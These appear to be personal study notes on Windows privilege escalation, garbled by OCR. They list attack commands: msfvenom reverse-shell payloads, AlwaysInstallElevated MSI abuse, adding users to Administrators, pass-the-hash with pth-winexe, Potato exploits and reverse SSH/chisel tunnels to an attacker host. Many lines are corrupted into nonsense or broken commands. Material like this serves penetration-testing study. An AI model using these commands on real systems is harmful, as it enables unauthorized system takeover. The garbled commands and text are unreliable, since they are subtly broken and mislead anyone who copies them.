Western
Windows 16 July 2020 18:41
10 July 2020 10-41
Start smb on pwsh-> Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All Powershell -exec bypass
Windows Permissions -> User accounts - User, Local administrator(created by default on installlation), guest user, etc.
Service accounts – Used administrators, Useral by the late of ministration (pages user, etc. Service accounts – Used to run services, cant be used to sign in, SYSTEM, NETWORK SERVICE, LOCAL SERVICE. Groups-Regular groups(Administrators, Users) and Pseudo groups(Dynamic)(Authenticated Users)
Windows Resources-> • Files/Directories
Registry Entries
Services A user's permission for a resource depends on that resources's access control list(ACL)
Access Control List(ACL) -> Controls permissions to access a resource. Made up of several access control entries(ACEs).
Spawn Admin Shells->
1. Msfvenom-> msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o rev.exe 2. If rdp is available, we can add our user to administrators grp and spawn shell via gui.
Net localgroup administrators username /add 3. To go from admin user to system shell, we can user PsExec from Sysinternals. PsExec64_exer-accepteula-i-s C:Vev.exe
Privilege Escalation Tools->
PowerUp.ps1 Open pwsh-> powershell -exec bypass
Import module >, HowerUp.p1 Run-> Invoke-AllChecks
Sharpup.exe-> compiled exe
Seatbelt->Enum tool, doesn't give privec paths, just privesc related info Seatbelt.exe all WinPEA->
 WINPLAS-> Enable colors-> Reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 Accesschik-exe
Registry Exploits -> 1. Authornes- Windows can be configured to run commands at Startup. We can privesc if we have write permissions to an autorum executable and we are allowed to restart the system. Discovery- winpeas can applications either of will show up on which the start of the star
Manual discovery > query the registry to show all autorun programs and check which are writable with accesschk Reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
AlwaysInstallElevated -> MSI -> Microsoft Installer files
MSI < PRICOGOI INSURENT INSURE
Discovery-> winpeas.exe windowscreds
Manual discovery>- query the registry for these keys Reg query HKUNSOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysinstallElevated Reg query HKUNSOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysinstallElevated
-f msi in msfvenom for payload.
Execute the msi file for root-> msiexec /quiet /qn /i lol.msi
Scheduled Tasks>
List all user tasks-> Schtasks /query /fo LIST /v
Powershil Command-> Get-ScheduledTask where [TaskPath -notlike ".Wicrosoft" It TaskName_TaskPath,State
See if a task is being run by admin or system, and see if the script being run is writable by us.
Insecure GUI Apps-> Tasklist /V findstr app.exe
If there is an 'Open' option, write file://c/windows/system32/cmd.exe
Installed Applications-> https://www.exploit-db.com/?type=local&platform=windows Most exploits will follow the above exploit types.
Enum->
Tasklist (see running programs)

Seatbelt.exe NonStandardProcesses
 Winpeas quiet procesinfo (misspelled in winpeas)

Hot Potato (look up explanation online)->
Wont work on latest Win1p patches
Start listener and write the cmd->
Potato.ee: ip IHOST -rcmd "C'payload.exe" -enable_http_server true -enable_defender true
-enable_port me -enable_enable true

Example ACL ->

Name: C1/Tempt/ACL Test.tot

Owner: admin (MSEDGEWNIOLadmin) Change

Permissions Auditing Effective Access Add Remove View

Kernel Exploits ->
• Core of an O.S.
• Kernel has complete control over OS, hence always returns SYSTEM user.
Finding kernel capitist ->
• Enumerate windows version/gatch level (systeminfo)
• Find matching exploits(google/exploit-db/github)
• Complie and run.

Keep them as last option, they may cause system crash.

Windows exploit suggester- https://github.com/bitsadmin/wesng
Pre-compiled binaries-> https://github.com/set/bild/windows-kernel-exploits
Watson (need to download and compile the sin, no releases available)-> https://github.com/rasta-mouse/Watsor

Search for the CVEs in SecWiki list. If it doesn't have it, look at google/exploit-db. Download binary and run, if necessary, compile. Careful with the architecture!

Passwords ->

Password reuse
Password reuse
Password respective
Confligaration options may have passwords
Reg Query HELD/I password /t REG_S_I/s
Reg query HELD/I password /t REG_S_I/s
Reg query HELD/I password /t REG_S_I/s
Reg password regions of the password regions of

-Pass the Hash-> Login without cracking hash-> Pth-winexe -U 'user%LM:NTLM' //ip cmd.exe

Startup Apps (Low chances of having a simulated admin login, will update later) Check if C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Port forwarding->
1. Make sure root login is permitted on ur box.
Vim /etc/sh/sshd_config
Set 'PermitRootLogin' to yes.
2. Start ssh on ur box.
3. Plink.exe root@attacker -R 8888:127.0.0.1:8888

Alternative->chisel //chisel_1.4.0_linux_amd64 server --host 10.10.14.17 --port 8000 --reverse chisel_win_32.exe client 10.10.14.17:8000 R:8888:127.0.0.1:8888

Token priv-> https://github.com/hatRiot/token-priv Whoami /priv

SEImpersonatePrivilige-> JuicyPotato Grants ability to impersonate any acces tokens

SeAssignPrimaryPrivilige-> JuicyPotato
Enables a user to assign access token to a new process, similart to
SEImpersonatePriviliee

SEBackupPrivilige->
Grants read access to all objects, regardless of ACL. With this, we can access sensitive files or extract hashes/passwords from registry.

SERestorePrivilige->
Grants write access to all objects, regardless of ACL Exploitation-> Modify service binaries, overwrite DLLs, Modify registry settings.

SeTakeOwnerShipPrivilige-> Lets user take ownership over an object(WRITE_OWNER) After taking ownership, its the same as SERestorePrivilige.

Read->https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

1 of 1 2020-07-21 03:06



1 of 1 2020-07-21 03:06

S	tı	ra	te	2	g	V
_		-	_	-	\mathbf{c}	7

21 July 2020 02:28

Enumeration-

- 1. Check user and groups
- 2. Run winpeas with fast, searchfast and cmd
- 3. Run seatbelt, wes or other scripts.
- 4. Manual
 - a. https://guif.re/windowseop
 - b. https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
 - c. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master
 /Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
 - d. Look thru the notes

Strategy->
Read the script output,
take
notes(mental/written)

Avoid bunnies! Don't spend too much time on same thing, check for write access, check if you can start/stop a service. Check for writable paths in unquoted service path!

Accesschk, sysinternals...use them.
Follow guif.re link first for manual.
Look for registry and service exploits first
Processes being run by admin, enum versions.

Look for internal ports.

Don't overlook stuff! Enum the box. Look for creds. Methods covered earlier. Last Resort- KE

Keep calm, the vuln is in there.

1 of 1 2020-07-21 03:06